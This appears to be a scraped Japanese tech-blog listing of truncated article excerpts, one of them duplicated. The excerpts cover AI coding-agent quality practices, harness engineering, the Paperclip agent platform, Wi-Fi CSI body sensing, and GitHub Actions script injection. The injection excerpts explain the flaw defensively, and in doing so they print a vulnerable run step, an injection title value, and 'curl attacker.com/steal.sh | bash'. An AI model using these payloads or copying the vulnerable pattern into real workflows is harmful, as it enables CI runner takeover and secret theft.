Github

Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（@hikarine3）が公開した実践ガイドから、要点を紹介する。 Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。 1. 設定ファイルにルールを書く CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。 ルール 防げる事故 テスト結果を「○件中○件が正常」形式で報告 0 件検出の見落とし 影響範囲を確認 1 ファイル修正で他が壊れる ファイル削除・本番デプロイ・DB 操作は承認必須 取り返しのつかないミス 設定ファイルは 50 行以内 を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。 2. リスクレベルで使い分ける すべてのプロジェクトに同じ品質基準を適用する必要はない。 レベル 対象 テスト深度 ラフ 静的サイト、ブログ 目視確認 標準 Web アプリ（ユーザーデータあり） 回帰テスト 厳密 金融・決済・認証・個人情報 境界値・異常系テスト 3. AI にテスト設計もさせる 従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。 4. AI のテストが「嘘」になる 10 パターン AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴: ...

Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（@hikarine3）が公開した実践ガイドから、要点を紹介する。 Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。 1. 設定ファイルにルールを書く CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。 ルール 防げる事故 テスト結果を「○件中○件が正常」形式で報告 0 件検出の見落とし 影響範囲を確認 1 ファイル修正で他が壊れる ファイル削除・本番デプロイ・DB 操作は承認必須 取り返しのつかないミス 設定ファイルは 50 行以内 を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。 2. リスクレベルで使い分ける すべてのプロジェクトに同じ品質基準を適用する必要はない。 レベル 対象 テスト深度 ラフ 静的サイト、ブログ 目視確認 標準 Web アプリ（ユーザーデータあり） 回帰テスト 厳密 金融・決済・認証・個人情報 境界値・異常系テスト 3. AI にテスト設計もさせる 従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。 4. AI のテストが「嘘」になる 10 パターン AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴: ...

Claude Code や Codex といった AI コーディングエージェントを現場に投入する開発者が増えるなか、「ハーネスエンジニアリング」という新しい実践領域が注目を集めている。逆瀬川氏（@gyakuse）が公開したまとめ記事から、要点を紹介する。 そもそも「ハーネス」とは何か 「ハーネス（harness）」とは、もともと馬具の意味だ。馬の力を人間が制御して活かすための装具一式 — 手綱、鞍、轡（くつわ）などを指す。馬がどれだけ優秀でも、ハーネスなしでは暴走するだけで仕事にならない。 ソフトウェアの世界では「テストハーネス」という用語がすでにある。テスト対象のコードを「つなぎ止めて」、入力を与え、出力を検証する枠組みのことだ。テスト対象そのものではなく、テスト対象を正しく動かすための外側の仕組みを指す。 AI コーディングエージェントにおける「ハーネス」もこれと同じ発想だ。AI エージェント（= 馬）は強力だが、そのままでは暴走する。古いドキュメントを信じてしまう、リンターのルールを勝手に緩和する、前のセッションで何をしたか忘れる。エージェントを制御し、安定した成果を引き出すための外側の仕組み全体がハーネスであり、それを設計・構築する技術がハーネスエンジニアリングだ。 具体的にハーネスを構成する要素は、大きく 3 つの層に分けられる: 入力層 — エージェントに何を読ませ、何を読ませないかを制御する（AGENTS.md の設計、リポジトリの衛生管理、セッション間の状態引き継ぎ） 実行制御層 — エージェントの作業中にリアルタイムで品質を強制する（リンター・フォーマッターの自動実行、計画と実行の分離） 検証層 — エージェントの出力が正しいことを確認する（E2E テスト、プリコミットチェック） 核心的な洞察は「ハーネスがモデルより重要」という点だ。同じモデルでもハーネスを改善すれば出力品質が劇的に向上する。開発者の責任は「正しいコードを書く」から「エージェントが確実に正しいコードを生産する環境を設計する」へとシフトしている。 7 つの主要トピック 1. リポジトリ衛生 〈入力層〉 「衛生（hygiene）」は、ソフトウェア開発で「不要物や汚染を取り除き、健全な状態を保つ」という意味で使われる慣用表現だ（「コードハイジーン」「ブランチハイジーン」なども同様）。ここでは、リポジトリ内に古くなったドキュメントや不正確な情報が溜まらないよう清潔に保つことを指す。人間なら「このメモ、古そうだな」と判断できるが、エージェントは 3 ヶ月前のメモも最新のコードも同じ「事実」として読んでしまう。だから情報の鮮度管理が重要になる。 実行可能なアーティファクト（コード、テスト、設定）を優先する 説明的ドキュメントは腐敗しやすいため最小化する ADR（Architecture Decision Records）で決定履歴を保全する テストはドキュメントより腐敗に強い 最大の敵は「説明的ドキュメントの腐敗」だ。エージェントは「3 ヶ月前のメモ」と「現在の真実」を区別できないため、古い情報が存在するだけで性能が低下する。ハーネスの入力層として、エージェントが読む情報の鮮度と正確性を保つことが最初のステップになる。 2. 決定論的ツールで品質を強制する 〈実行制御層〉 「決定論的（deterministic）」とは、同じ入力に対して毎回必ず同じ結果を返すという意味だ。リンターやフォーマッターがその典型で、たとえば「未使用の変数がある」というコードを渡せば、何度実行しても必ず同じ警告を返す。気分や文脈によって判断が揺れることがない。 対照的に、LLM は非決定論的だ。同じコードを渡しても、実行するたびにチェックの粒度や指摘内容がブレる。「インデントを揃えて」と指示しても、ある時はスペース 2 つ、別の時はタブで揃えるかもしれない。 だからこそ、機械的に判定できるルール（構文エラー、未使用変数、フォーマット）は LLM に任せず、決定論的ツールに委ねるのが原則だ。PostToolUse Hook でファイル編集のたびにリンターを自動実行し、エラーをエージェントに即時フィードバックする。 言語別の推奨スタック: 言語 PostToolUse プリコミット カスタムルール TypeScript Biome + Oxlint tsc + ESLint eslint-plugin-local-rules Python Ruff check/format Ruff + mypy ast-grep Go gofumpt + golangci-lint 同左 ast-grep リンター設定の保護も重要だ。エージェントがルールを勝手に緩和・改ざんするのを防ぐ仕組みが必要になる。これはまさに「手綱」の役割 — エージェントが暴走しないよう、作業のたびに自動で引き戻す仕組みだ。 ...

AIエージェントに役職・組織図・予算・目標を与え、24時間自律的に会社を運営させる——そんなコンセプトのオープンソースプロジェクト「Paperclip」が公開され、注目を集めている。 Paperclip とは Paperclip は、複数の AI エージェントを「社員」として組織化し、会社として機能させるためのオーケストレーションプラットフォームだ。 “If OpenClaw is an employee, Paperclip is the company.” 個々の AI エージェントを個別に管理するのではなく、組織図・予算・ガバナンス・目標整合・タスク調整といった会社レベルのインフラを提供する。 GitHub: https://github.com/paperclipai/paperclip 公式サイト: https://paperclip.ing/ ライセンス: MIT 主な機能 エージェントの組織化 組織図（Org Chart）: 階層構造、役職、レポートラインを定義 目標整合（Goal Alignment）: 会社のミッションからプロジェクト目標、個別タスクまで文脈が伝播 マルチカンパニー対応: 1つのデプロイで複数の会社を完全分離して管理 対応エージェント Claude、OpenClaw、Codex、Cursor、Bash スクリプト、HTTP Webhook など、ハートビートシグナルを受信できる任意のランタイムと連携できる。 コスト管理 エージェントごとに月次予算を設定し、使用量80%で警告、100%で自動停止する。暴走的なトークン消費を防ぐ仕組みが組み込まれている。 ガバナンスと監査 人間による承認ゲート（採用・戦略変更時） 設定変更のバージョニングとロールバック 全ての会話・意思決定・ツール呼び出しの追跡ログ いつでもエージェントの一時停止・再割り当て・終了が可能 セットアップ 1 2 3 4 5 6 7 8 # クイックスタート npx paperclipai onboard --yes # 手動インストール git clone https://github.com/paperclipai/paperclip.git cd paperclip pnpm install pnpm dev API は http://localhost:3100 で起動し、組み込みの PostgreSQL データベースを使用する。要件は Node.js 20+ と pnpm 9.15+。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！ 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態 TL;DR: カメラなし・$48のESP32だけで壁の向こうの人間の心拍・呼吸・骨格17点を検知できるとするオープンソースプロジェクト「RuView」がSNSで話題に。原理はCMU発の査読済み研究に基づく実在技術だが、「28.5kスター」の裏には再現性への疑義とCSIハードウェアの壁がある。煽りと科学を分離して整理する。 話題の発端 @kosuke_agos氏のポスト（2026年3月5日、閲覧6.4万・ブックマーク456）が日本語圏で拡散。「市販Wi-Fiルーターだけで壁の向こう側の人間の心拍数や姿勢を完全に特定」「わずか48ドルで構築」という衝撃的な内容が注目を集めた。 https://x.com/kosuke_agos/status/2029392193325285521 RuView とは何か RuView（旧wifi-densepose）は、Wi-Fi信号のCSI（Channel State Information）を解析して、カメラなしで人体の姿勢推定・バイタルサイン検知を行うオープンソースプロジェクト。 GitHub: https://github.com/ruvnet/RuView スター: 28.5k / フォーク: 3.7k ライセンス: MIT 実装言語: Rust（Python比810倍の処理速度を主張） 主張されている性能 機能 スペック 骨格トラッキング 17箇所のキーポイント 呼吸検知 6-30 BPM 心拍検知 40-120 BPM 処理速度 54,000 fps（Rust実装） 壁越し検知距離 最大5m AIモデルサイズ 55KB（エッジ実行可能） ハードウェアコスト 〜$48（ESP32-S3 × 4-6台） 科学的な背景 — CMU「DensePose From WiFi」 RuView の理論的基盤は、カーネギーメロン大学（CMU）ロボティクス研究所が2022年に発表した査読済み論文「DensePose From WiFi」（arXiv: 2301.00250）。 論文の核心 Wi-Fiの**CSI（チャネル状態情報）**は、空間内の物体・人体による電波の反射・回折・散乱を数値化したもの CSI信号を画像的な2D特徴マップに変換するエンコーダ・デコーダネットワークを構築 修正版DensePose-RCNNで、2D特徴から人体表面のUV座標を推定 複数人の同時検知が可能で、カメラベースのアプローチに匹敵する性能を達成 この研究は実在し、査読を通過しており、Wi-Fi CSI による人体検知という原理自体は「嘘」ではない。 CSI の仕組み（簡略版） Wi-Fi ルーター → 電波送信（OFDM: 52サブキャリア） ↓ 人体が電波を反射・吸収・散乱 ↓ ESP32 受信 → 各サブキャリアの振幅・位相変化を記録（= CSI） ↓ AI が CSI パターンから人体の姿勢・バイタルを推定 呼吸は胸部の周期的な膨張・収縮（6-30回/分）、心拍は胸壁の微小振動（40-120回/分）として、CSIのFFT（高速フーリエ変換）解析で分離・抽出される。 ...

「決定性のないソフトウェア」をどう設計し評価するか — t_wada 氏の視点と skill-creator が実装した答え 和田卓人（@t_wada）氏が X で言及した、skill-creator の設計に関するコメントが注目を集めています。 skill-creator いい感じで動作すると思っていたら中身がこのようになっていたのか。決定性のないソフトウェアをどう実践的に設計して評価するかといった観点でも参考になるエントリ。 t_wada 氏は、テスト駆動開発（TDD）の日本における第一人者であり、Kent Beck 著『テスト駆動開発』の翻訳者、power-assert-js の作者として知られるプログラマです。その t_wada 氏が「決定性のないソフトウェアの設計と評価」という観点で skill-creator を評価しています。 元記事は逆瀬川ちゃん氏のブログ「skill-creator から学ぶ Skill 設計と、Orchestration Skill の作り方」です。本記事では、t_wada 氏の指摘する「決定性のないソフトウェア」の設計問題に焦点を当て、skill-creator がどのような解を実装しているかを解説します。 「決定性のないソフトウェア」とは何か 従来のソフトウェアとの違い 決定的ソフトウェア（従来）: 入力 A → 常に出力 X 入力 B → 常に出力 Y → 「2 + 2 = 4」を assert できる 非決定的ソフトウェア（LLM ベース）: 入力 A → 出力 X1, X2, X3...（毎回異なる） 入力 B → 出力 Y1, Y2, Y3...（毎回異なる） → 「正解」が一意に定まらない LLM の出力は確率的です。同じプロンプトを送っても、temperature やサンプリングの影響で異なる結果が返ります。従来の assertEqual(expected, actual) というテスト手法が通用しない世界です。 ...

AI/ML 学習リポジトリ厳選 10 選 — スター総計 12 万超のキュレーション集を目的別に読み解く @DeRonin_ 氏が X で投稿した、AI/ML 学習用 GitHub リポジトリのキュレーションが反響を呼んでいます。 List of THE BEST Github Repositories to learn AI and ML この投稿は 278 件のブックマークを集め、実務者が「手元に置きたいリスト」として支持されていることがわかります。本記事では、紹介された 10 リポジトリを目的別に分類し、それぞれの特徴と使い分けを解説します。 全 10 リポジトリ一覧 # リポジトリ スター 主な内容 1 SkalskiP/courses 6.4k AI コースのキュレーション集 2 owainlewis/awesome-artificial-intelligence 10k+ AI システム構築のリソース集 3 Yorko/mlcourse.ai — OpenDataScience の ML コース 4 tirthajyoti/Papers-Literature-ML-DL-RL-AI — 論文・文献・書籍のカタログ 5 dair-ai/ML-YouTube-Courses 17.1k YouTube ML コースのインデックス 6 dair-ai/Prompt-Engineering-Guide 71.1k プロンプトエンジニアリングガイド 7 armankhondker/awesome-ai-ml-resources — ML/AI 学習ロードマップ 8 nivu/ai_all_resources — 数学から DL まで網羅的リソース集 9 aishwaryanr/awesome-generative-ai-guide 25.1k 生成 AI 特化のハブ 10 break-into-data/ai-engineer-toolkit 2.1k AI エンジニア向けツールキット 目的別分類 10 リポジトリは大きく 4 つのカテゴリに分けられます。 ...

130 超の生成 AI アプリを「動かして学ぶ」— gen-ai-experiments リポジトリ完全ガイド @alifcoder 氏が X で紹介した、生成 AI の実践的学習リポジトリが注目を集めています。 Collection of 130+ production-ready Gen AI apps, agents, and experiments. Built with LangChain, RAG, AI Agents, Multi-Agent Teams, and more. buildfastwithai/gen-ai-experiments は、130 を超える本番レベルの生成 AI アプリケーション、エージェント、実験プロジェクトを Jupyter ノートブック形式で集めたリポジトリです。LangChain、RAG、AI エージェント、マルチエージェントシステムなど、2024-2026 年の主要な AI 技術スタックを網羅しています。 本記事では、このリポジトリの構成と活用法、類似リソースとの比較、そして「動かして学ぶ」アプローチの価値を解説します。 なぜ「動かして学ぶ」が重要なのか ドキュメントだけでは身につかない 生成 AI の学習には特有の難しさがあります。 生成 AI 学習の 3 つの壁: 1. API の組み合わせの壁: LLM API 単体は簡単。だが RAG、エージェント、 ツール連携を組み合わせると複雑度が指数的に増加 2. プロンプト設計の壁: 「動くプロンプト」と「良いプロンプト」の差は ドキュメントでは伝わらない。実行して出力を見るしかない 3. 本番品質の壁: デモレベルと本番レベルの間にある エラーハンドリング、レート制限、コスト管理の知識 gen-ai-experiments は、これらの壁を動くコードで越えるアプローチを取っています。631 の Jupyter ノートブックがあり、セルを 1 つずつ実行しながら各技術の仕組みを体験できます。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる @koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。 書きました。GitHub Actions 触る人は全員知っておいてほしい 【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。 2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。 スクリプトインジェクションとは何か GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。 通常の期待: ${{ github.event.pull_request.title }} → 文字列として処理される 実際の動作: ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる → シェルがコマンドとして解釈する つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。 攻撃の実践例 攻撃 1: PR タイトルによるインジェクション 脆弱なワークフロー: 1 2 3 4 5 6 7 8 on: pull_request: jobs: example: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}" 攻撃者が PR タイトルを "; echo INJECTED" に設定すると: ...